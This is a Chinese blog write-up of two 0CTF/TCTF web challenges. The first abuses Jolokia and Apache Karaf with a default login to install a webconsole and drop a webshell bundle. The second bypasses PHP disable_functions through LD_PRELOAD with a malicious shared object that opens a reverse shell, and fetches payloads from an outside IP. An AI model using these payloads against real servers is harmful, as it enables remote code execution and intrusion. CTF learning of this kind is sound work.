Back

TCTF/0CTF-Web 记录

上周末抽空佛系打了一下 TCTF/0CTF ,跟马师傅一起做了 web1 ,web 2 没来得及看就关闭了。这里就记录一下。

Web1 Ghost Pepper

Description

​ Do you know ghost pepper? Let’s eat. http://111.186.63.207:31337

Hacking

由于环境关掉了,这里就不放图了。说一下几个解法。

首先通过弱口令 karaf/karaf 进行认证,进入发现是 jetty 的中间件,然后思路一直走偏在这个中间件上,直到有师傅跟我说 ghost pepper 指的是 Jolokia…nb…

然后又参考了几篇腾讯云鼎的相关文章:

Exploiting Jolokia Agent with Java EE Servers

尝试了 JNDI 注入,发现 proxymode 没开,所以得另想法子,在/jolokia/list 我们发现了一些库,最终目标聚集到了 karaf 上。

第一种解法是通过激活 webconsole 这个 karaf 的 feature ,进入 webconsole ,这是一个类似 Tomcat Manager 后台的一个东西,进入之后可以上传 bundle ,并且勾选自动 refresh bundle ,就相当于上传了一个 webshell 一样,直接连就好了,关于 bunlde 的构建留到下面讲吧。还有就是进去 Main/gogo 的选项,就可以拿到 karaf 内置的一个 shell ,具体命令可以参考 Shell console basics,通过shell:cat /flag

激活 webconsole 的 payload 如下

POST /jolokia HTTP/1.1
Host: 111.186.63.207:31337
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/json
Content-Length: 146
Authorization: Basic a2FyYWY6a2FyYWY=
Connection: close
Upgrade-Insecure-Requests: 1

{  
	"type":"EXEC",
  "mbean":"org.apache.karaf:name=root,type=feature",
  "operation": "installFeature(java.lang.String)",
  "arguments":["webconsole"]
}

还有其他的就是通过好几个/list中的install方法来实现。比如karaf.config或者karaf.bundle的方法都可以,具体方法的实现直接去下一个 karaf 源码来看看就知道了。

{
  "type":"EXEC"
  "mbean":"org.apache.karaf:name=root,type=config",
  "operation":"install",
  "arguments":["http://ip:port/webshell.jar","../../../../../opt/opendaylight-0.9.2/deploy/webshell.jar",false]
}

这里karaf.config是个 0day…可以写任意文件

这里利用的难点就是如何构造一个 bundle 文件了…从来都不知道还有这种文件…而且是个.jar文件,而且这个东西的触发点在start函数,非main函数…可以按照马师傅的这个仓库来构建:osgi-bundle-backdoor

Web2 Wallbreaker Easy

Description

​ http://111.186.63.208:31340

打开地址可以发现有更多的描述

​ Imagick is a awesome library for hackers to break disable_functions.

So I installed php-imagick in the server, opened a backdoor for you. Let’s try to execute /readflag to get the flag. Open basedir: /var/www/html:/tmp/7833d7f27adcba46bdfd6c9c31c89904 Hint: eval($_POST[“backdoor”]);

The first way to Hack

一看题目意图也比较明显,需要我们利用Imagick这个模块去进行 rce

我们先直接看看phpinfo(),发现果然是能执行命令的基本都被 disable 掉了

我们还可以调用readfile()来查看题目源代码

<?php
$dir = "/tmp/" . md5("$_SERVER[REMOTE_ADDR]");
mkdir($dir);
ini_set('open_basedir', '/var/www/html:' . $dir);
?>
<!DOCTYPE html><html><head><style>.pre {word-break: break-all;max-width: 500px;white-space: pre-wrap;}</style></head><body>
<pre class="pre"><code>Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: <?php echo ini_get('open_basedir');?>

<?php eval($_POST["backdoor"]);?>
Hint: eval($_POST["backdoor"]);
</code></pre></body>
Hint: eval($_POST["backdoor"]);
</code></pre></body>

首先我们来了解一下题目涉及的几个函数

open_basedir

{% colorquote info %}

open_basedir 将 php 所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。

{% endcolorquote %}

例如就像这样,设置了ini_set('open_basedir','/var/www/html');之后,我们只能在/var/www/html进行操作,即open_basedir是用来限制访问目录的

Bypass Open_Basedir

详细可参考How to bypass disable_functions and open_basedir,文章中就提到可以使用LD_PRELOADputenv()函数进行绕过

LD_PRELOAD

我们首先来看看什么是LD_PRELOAD

{% colorquote info %}

LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.

{% endcolorquote %}

简单来说,LD_PRELOAD这个环境变量指定路径的文件,会在其他文件被调用前,最先被调用。

{% colorquote info %}

putenv ( string $setting ) : bool

添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。

{% endcolorquote %}

putenv()可以设置环境换变量,添加我们定义的变量到服务器环境变量。

那么我们大概可以有一个思路,制作一个恶意的.so文件,使用putenv()设置LD_PRELOAD为恶意文件路径,然后使用某个php函数,触发这个.so文件,执行我们的恶意代码。

具体的攻击链可以参考:LD_PRELOAD的偷梁换柱之能

劫持攻击

参考的绕过文章使用了mail()函数,我们可以看看

这里确实开启了子进程,那我们再试试引入putenv()的效果,配合动态链接库尝试劫持,代码来自Chankro

其中__attribute__ ((__constructor__))有如下说明

1.It's run when a shared library is loaded, typically during program startup.
2.That's how all GCC attributes are; presumably to distinguish them from function calls.
3.The destructor is run when the shared library is unloaded, typically at program exit.

所以当我们使用上我们的动态链接库后,就会触发__attribute__ ((__constructor__)),从而达成我们rce的目的。

#define  _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <unistd.h>


void pwn(void) {
	system("ls");
	system("echo hacked");
}

void daemonize(void) {
	signal(SIGHUP, SIG_IGN);
	if (fork() != 0) {
		exit(EXIT_SUCCESS);
	}
}

__attribute__ ((__constructor__)) void preloadme(void) {
  unsetenv("LD_PRELOAD");
  daemonize();
  pwn();
}

使用以下命令产生动态链接库

gcc hack.c -fPIC -shared -o hack.so 

php 文件中代码为

<?php
putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>

可以看到已经执行了ls命令并成功输出了hacked,使用strace看看我们可以发现执行顺序。

当然还有另一种劫持,直接选择一个函数进行劫持,例如我们通过strace php test.php发现调用了geteuid()以及getpid()函数,我们可以在hack.c中这么写

#define  _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>


void pwn(void) {
	system("ls");
	system("echo hacked!");
}

void getpid(){
  unsetenv("LD_PRELOAD");
  pwn();
}

这样也可以完成劫持

GetFlag

所以我们需要找到一个可以启动子进程的函数,以实现我们劫持函数做到 RCE 的目的,然后这里我本地调通了但是远程不知道怎么没打通…

这里我直接用new了一个.jpg也可以调用子进程,但是服务器却没有触发…

然后最好还是按照飘零师傅的深入浅出LD_PRELOAD & putenv()wmv进行了 hook ,最后成功 RCE。

这里的原理就是因为Imagick在处理wmv格式的文件会起一个子进程来处理,所以就达到了我们的目的。还有很多格式的文件都可以,可以参考 ctftime 上该题的其他 wp。

#define  _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <unistd.h>


void pwn(void) {
	system("bash -c \"sh >& /dev/tcp/your_ip/port 0>&1\" ");
}

void daemonize(void) {
	signal(SIGHUP, SIG_IGN);
	if (fork() != 0) {
		exit(EXIT_SUCCESS);
	}
}

__attribute__ ((__constructor__)) void preloadme(void) {
  unsetenv("LD_PRELOAD");
  daemonize();
  pwn();
}

至于怎么传文件到服务器上,有很多种方法,比如file_put_contents(),也可以用如下的方式

copy("http://106.14.153.173:8080/hack.wmv", "/tmp/3b1412753f475cc969c37231dd6eaea2/hack.wmv");
copy("http://106.14.153.173:8080/hack.so", "/tmp/3b1412753f475cc969c37231dd6eaea2/hack.so");

The other way

也可以利用error_log这个方法,这个方法也开启了子进程调用了sendmail方法。按照之前的思路进行就可以了

参考

无需sendmail:巧用LD_PRELOAD突破disable_functions

The second way to Hack

这里也主要是用了

<delegate decode="bpg" command="&quot;@BPGDecodeDelegate@&quot; -b 16 -o &quot;%o.png&quot; &quot;%i&quot;; @MVDelegate@ &quot;%o.png&quot; &quot;%o&quot;"/>

//"@BPGDecodeDelegate@" -b 16 -o "%o.png" "%i"; @MVDelegate@ "%o.png" "%o"

这里参考了其他师傅的 wp ,主要是利用了@BPGDecodeDelegate对于后缀.bpg的解析,它会去 PATH 中寻找相关的bpgenc文件

所以我们只需要设置一个恶意的 PATH ,并在这个文件夹下放入我们的可执行文件。

只要找到函数要执行的文件我们就可以进行操作了。例如下面用了Imagick->readImage()的方法

Conclusion

这次比赛还是玩的比较有收获的,至少给我打发了周末等面试结果的煎熬时光2333…第一题自己想法是通过 karaf.shell 去做,然而并没有找到突破点,还是跟另一个师傅弄了 karaf.config 的 install 方法去做的。菜还是菜,并没有去发掘文档深入的点。第二题在比赛中因为没什么时间了,就没怎么去看了。赛后复现觉得自己对 php 底层了解的很少,打算这段时间可以去往这方面发掘一下。也还有关于第二题解法二的发掘点还存在一定的疑惑,可能就是从 fuzz bpg 格式开始寻找到的突破点吧。还看到了另一个关于题二的解法,等会还可以研究下一下。

Licensed under CC BY-NC-SA 4.0

I am looking for some guys who have a strong interest in CTFs to build a team focused on international CTFs that are on the ctftime.org, if anyone is interested in this idea you can take a look at here: Advertisements


想了解更多有意思的国际赛 CTF 中 Web 知识技巧,欢迎加入我的 知识星球 ; 另外我正在召集一群小伙伴组建一支专注国际 CTF 的队伍,如果有感兴趣的小伙伴也可在 International CTF Team 查看详情


comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy